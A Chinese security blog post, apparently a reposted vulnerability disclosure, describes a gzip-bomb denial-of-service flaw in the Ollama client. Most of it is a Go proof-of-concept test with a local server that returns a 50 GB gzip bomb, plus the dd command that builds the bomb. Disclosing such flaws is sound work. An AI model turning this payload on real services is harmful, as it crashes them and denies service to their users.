前言
我们在Ollama客户端发现了一个漏洞,当恶意API服务器对GZIP BOMB HTTP响应响应请求时,可以触发。此漏洞可能会导致内存(OOM)攻击,从而导致Ollama服务器崩溃。
复现步骤
获取最新的ollama
git clone https://github.com/ollama/ollamacd ollamagit checkout f2890a4494f9fb3722ee7a4c506252362d1eab65
漏洞poc
package serverimport ( "context" "crypto/ed25519" "crypto/rand" "encoding/pem" "fmt" "golang.org/x/crypto/ssh" "net/http" "net/url" "os" "path/filepath" "runtime" "testing")// 1GBconst LimitRamUsage = 1024 * 1024 * 1024func TestMakeRequestWithRetryAuth(t *testing.T) { if err := initializeKeypair(); err != nil { t.Fatalf("failed to initialize keypair: %v", err) } go startTestServerOOM(t) defer runtime.GOMAXPROCS(runtime.GOMAXPROCS(1)) var start, end runtime.MemStats runtime.GC() runtime.ReadMemStats(&start) processGzipBombAuth(t) runtime.ReadMemStats(&end) alloc := end.TotalAlloc - start.TotalAlloc if alloc > LimitRamUsage { t.Fatalf("Memory usage exceeded limit: %d", alloc) }}func TestMakeRequestWithRetry(t *testing.T) { go startTestServerOOM(t) defer runtime.GOMAXPROCS(runtime.GOMAXPROCS(1)) var start, end runtime.MemStats runtime.GC() runtime.ReadMemStats(&start) processGzipBomb(t) runtime.ReadMemStats(&end) alloc := end.TotalAlloc - start.TotalAlloc if alloc > LimitRamUsage { t.Fatalf("Memory usage exceeded limit: %d", alloc) }}func processGzipBombAuth(t *testing.T) { u, err := url.Parse("http://localhost:8080") if err != nil { t.Fatalf("failed to parse url: %v", err) } _, err = makeRequestWithRetry( context.TODO(), "POST", u, nil, nil, ®istryOptions{CheckRedirect: func(req *http.Request, via []*http.Request) error { return nil }}, ) if err != nil { t.Fatalf("failed to make request with retry: %v", err) }}func processGzipBomb(t *testing.T) { u, err := url.Parse("http://localhost:8080") if err != nil { t.Fatalf("failed to parse url: %v", err) } _, err = makeRequestWithRetry( context.TODO(), "Get", u, nil, nil, ®istryOptions{CheckRedirect: func(req *http.Request, via []*http.Request) error { return nil }}, ) if err != nil { t.Fatalf("failed to make request with retry: %v", err) }}func startTestServerOOM(t *testing.T) { http.HandleFunc("/", handleRequestOOM) t.Fatal(http.ListenAndServe(":8080", nil))}func handleRequestOOM(w http.ResponseWriter, r *http.Request) { fmt.Printf("Request: %s %sn", r.Method, r.URL.Path) switch r.Method { case "POST": // Set headers www-authenticate and write 401 w.Header().Set("WWW-Authenticate", `Bearer realm="http://localhost:8080",service="registry.docker.io",scope="repository:library/hello-world:pull"`) w.WriteHeader(http.StatusUnauthorized) if _, err := w.Write([]byte("Unauthorized")); err != nil { return } case "GET": // Created with: `dd if=/dev/zero bs=1M count=50000 | gzip > 50G.gzip` content, err := os.ReadFile("50G.gzip") if err != nil { http.Error(w, "File not found", http.StatusNotFound) return } w.Header().Set("Content-Encoding", "gzip") w.WriteHeader(http.StatusTeapot) if _, err := w.Write(content); err != nil { return } }}func initializeKeypair() error { home, err := os.UserHomeDir() if err != nil { return err } privKeyPath := filepath.Join(home, ".ollama", "id_ed25519") pubKeyPath := filepath.Join(home, ".ollama", "id_ed25519.pub") _, err = os.Stat(privKeyPath) if os.IsNotExist(err) { fmt.Printf("Couldn't find '%s'. Generating new private key.n", privKeyPath) cryptoPublicKey, cryptoPrivateKey, err := ed25519.GenerateKey(rand.Reader) if err != nil { return err } privateKeyBytes, err := ssh.MarshalPrivateKey(cryptoPrivateKey, "") if err != nil { return err } if err := os.MkdirAll(filepath.Dir(privKeyPath), 0o755); err != nil { return fmt.Errorf("could not create directory %w", err) } if err := os.WriteFile(privKeyPath, pem.EncodeToMemory(privateKeyBytes), 0o600); err != nil { return err } sshPublicKey, err := ssh.NewPublicKey(cryptoPublicKey) if err != nil { return err } publicKeyBytes := ssh.MarshalAuthorizedKey(sshPublicKey) if err := os.WriteFile(pubKeyPath, publicKeyBytes, 0o644); err != nil { return err } fmt.Printf("Your new public key is: nn%sn", publicKeyBytes) } return nil}
创建一个文件50G.GZIP,大小为50GB。
cd ollama/serverdd if=/dev/zero bs=1M count=50000 | gzip > 50G.gzip
运行testmakerequestwithretry
go test -v -run TestMakeRequestWithRetry
读取状态
dmesg
运行TestMakeRequestWithRetryAuth
go test -v -run TestMakeRequestWithRetry
读取状态
dmesg
漏洞影响
攻击者可以利用这种脆弱性崩溃的Ollama服务器,这可能导致拒绝服务(DOS)
原文始发于微信公众号(柯基的安全笔记):Ollama被爆DDOS攻击漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论